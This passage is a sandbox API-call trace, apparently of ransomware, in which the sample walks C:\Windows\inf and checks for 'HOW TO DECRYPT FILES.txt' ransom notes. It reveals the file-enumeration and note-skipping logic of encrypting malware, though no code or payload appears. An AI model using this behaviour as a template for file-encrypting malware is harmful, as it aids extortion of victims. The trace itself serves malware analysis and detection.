lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.477] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.477] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnca00d.PNF" | out: lpString1="C:\\Windows\\inf\\prnca00d.PNF") returned="C:\\Windows\\inf\\prnca00d.PNF" [0130.477] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c68376f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c68376f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c68376f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3f12, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnca00e.inf", cAlternateFileName="")) returned 1 [0130.477] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.477] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnca00e.inf") returned -1 [0130.477] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnca00e.inf") returned -1 [0130.477] lstrcmpiA (lpString1="", lpString2="prnca00e.inf") returned -1 [0130.478] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnca00d.PNF") returned="prnca00d.PNF" [0130.478] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.478] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.478] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.478] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.478] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnca00e.inf" | out: lpString1="C:\\Windows\\inf\\prnca00e.inf") returned="C:\\Windows\\inf\\prnca00e.inf" [0130.478] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908dffd0, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x908dffd0, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x908dffd0, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x3c98, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnca00e.PNF", cAlternateFileName="")) returned 1 [0130.478] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.478] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnca00e.PNF") returned -1 [0130.478] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnca00e.PNF") returned -1 [0130.479] lstrcmpiA (lpString1="", lpString2="prnca00e.PNF") returned -1 [0130.479] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnca00e.inf") returned="prnca00e.inf" [0130.479] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.479] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.479] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.479] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.479] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnca00e.PNF" | out: lpString1="C:\\Windows\\inf\\prnca00e.PNF") returned="C:\\Windows\\inf\\prnca00e.PNF" [0130.479] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c6a98cf, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c6a98cf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c6a98cf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x4f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnca00f.inf", cAlternateFileName="")) returned 1 [0130.479] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.479] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnca00f.inf") returned -1 [0130.479] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnca00f.inf") returned -1 [0130.480] lstrcmpiA (lpString1="", lpString2="prnca00f.inf") returned -1 [0130.480] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnca00e.PNF") returned="prnca00e.PNF" [0130.480] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.480] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.480] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.480] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.480] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnca00f.inf" | out: lpString1="C:\\Windows\\inf\\prnca00f.inf") returned="C:\\Windows\\inf\\prnca00f.inf" [0130.480] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9099e6b2, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x9099e6b2, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x9099e6b2, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnca00f.PNF", cAlternateFileName="")) returned 1 [0130.481] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.481] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnca00f.PNF") returned -1 [0130.481] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnca00f.PNF") returned -1 [0130.481] lstrcmpiA (lpString1="", lpString2="prnca00f.PNF") returned -1 [0130.481] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnca00f.inf") returned="prnca00f.inf" [0130.481] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.481] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.481] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.481] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.482] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnca00f.PNF" | out: lpString1="C:\\Windows\\inf\\prnca00f.PNF") returned="C:\\Windows\\inf\\prnca00f.PNF" [0130.482] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c6cfa2f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c6cfa2f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c6cfa2f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3c4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnca00g.inf", cAlternateFileName="")) returned 1 [0130.482] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.482] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnca00g.inf") returned -1 [0130.482] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnca00g.inf") returned -1 [0130.482] lstrcmpiA (lpString1="", lpString2="prnca00g.inf") returned -1 [0130.482] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnca00f.PNF") returned="prnca00f.PNF" [0130.482] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.482] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.483] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.483] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.483] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnca00g.inf" | out: lpString1="C:\\Windows\\inf\\prnca00g.inf") returned="C:\\Windows\\inf\\prnca00g.inf" [0130.483] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90acf1b4, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x90acf1b4, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x90acf1b4, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4954, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnca00g.PNF", cAlternateFileName="")) returned 1 [0130.483] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.483] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnca00g.PNF") returned -1 [0130.483] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnca00g.PNF") returned -1 [0130.483] lstrcmpiA (lpString1="", lpString2="prnca00g.PNF") returned -1 [0130.483] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnca00g.inf") returned="prnca00g.inf" [0130.483] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.483] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.484] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.484] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.484] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnca00g.PNF" | out: lpString1="C:\\Windows\\inf\\prnca00g.PNF") returned="C:\\Windows\\inf\\prnca00g.PNF" [0130.484] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c6f5b90, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c6f5b90, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c6f5b90, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x39f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnca00h.inf", cAlternateFileName="")) returned 1 [0130.484] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.484] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnca00h.inf") returned -1 [0130.484] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnca00h.inf") returned -1 [0130.484] lstrcmpiA (lpString1="", lpString2="prnca00h.inf") returned -1 [0130.484] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnca00g.PNF") returned="prnca00g.PNF" [0130.484] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.485] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.485] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.485] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.485] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnca00h.inf" | out: lpString1="C:\\Windows\\inf\\prnca00h.inf") returned="C:\\Windows\\inf\\prnca00h.inf" [0130.485] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c25e16, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x90c25e16, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x90c25e16, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x3f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnca00h.PNF", cAlternateFileName="")) returned 1 [0130.485] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.485] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnca00h.PNF") returned -1 [0130.485] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnca00h.PNF") returned -1 [0130.485] lstrcmpiA (lpString1="", lpString2="prnca00h.PNF") returned -1 [0130.485] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnca00h.inf") returned="prnca00h.inf" [0130.486] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.486] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.486] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.486] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.486] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnca00h.PNF" | out: lpString1="C:\\Windows\\inf\\prnca00h.PNF") returned="C:\\Windows\\inf\\prnca00h.PNF" [0130.486] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c71bcf0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c71bcf0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c71bcf0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x4f0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnca00i.inf", cAlternateFileName="")) returned 1 [0130.486] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.486] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnca00i.inf") returned -1 [0130.486] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnca00i.inf") returned -1 [0130.486] lstrcmpiA (lpString1="", lpString2="prnca00i.inf") returned -1 [0130.487] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnca00h.PNF") returned="prnca00h.PNF" [0130.487] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.487] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.487] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.487] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.487] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnca00i.inf" | out: lpString1="C:\\Windows\\inf\\prnca00i.inf") returned="C:\\Windows\\inf\\prnca00i.inf" [0130.487] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d7ca79, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x90d7ca79, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x90d7ca79, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4804, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnca00i.PNF", cAlternateFileName="")) returned 1 [0130.487] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.487] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnca00i.PNF") returned -1 [0130.488] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnca00i.PNF") returned -1 [0130.488] lstrcmpiA (lpString1="", lpString2="prnca00i.PNF") returned -1 [0130.488] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnca00i.inf") returned="prnca00i.inf" [0130.488] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.488] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.488] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.488] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.488] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnca00i.PNF" | out: lpString1="C:\\Windows\\inf\\prnca00i.PNF") returned="C:\\Windows\\inf\\prnca00i.PNF" [0130.488] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c741e50, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c741e50, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c741e50, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3c66, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnca00x.inf", cAlternateFileName="")) returned 1 [0130.489] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.489] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnca00x.inf") returned -1 [0130.489] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnca00x.inf") returned -1 [0130.489] lstrcmpiA (lpString1="", lpString2="prnca00x.inf") returned -1 [0130.489] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnca00i.PNF") returned="prnca00i.PNF" [0130.489] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.489] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.489] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.489] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.489] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnca00x.inf" | out: lpString1="C:\\Windows\\inf\\prnca00x.inf") returned="C:\\Windows\\inf\\prnca00x.inf" [0130.490] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ebea19, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x91ebea19, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x91ebea19, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4dac, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnca00x.PNF", cAlternateFileName="")) returned 1 [0130.490] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.490] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnca00x.PNF") returned -1 [0130.490] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnca00x.PNF") returned -1 [0130.490] lstrcmpiA (lpString1="", lpString2="prnca00x.PNF") returned -1 [0130.490] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnca00x.inf") returned="prnca00x.inf" [0130.490] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.490] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.490] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.490] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.490] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnca00x.PNF" | out: lpString1="C:\\Windows\\inf\\prnca00x.PNF") returned="C:\\Windows\\inf\\prnca00x.PNF" [0130.491] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c767fb0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c767fb0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c767fb0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1026, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnca00y.inf", cAlternateFileName="")) returned 1 [0130.491] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.491] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnca00y.inf") returned -1 [0130.491] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnca00y.inf") returned -1 [0130.491] lstrcmpiA (lpString1="", lpString2="prnca00y.inf") returned -1 [0130.491] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnca00x.PNF") returned="prnca00x.PNF" [0130.491] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.491] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.491] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.491] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.491] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnca00y.inf" | out: lpString1="C:\\Windows\\inf\\prnca00y.inf") returned="C:\\Windows\\inf\\prnca00y.inf" [0130.492] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: 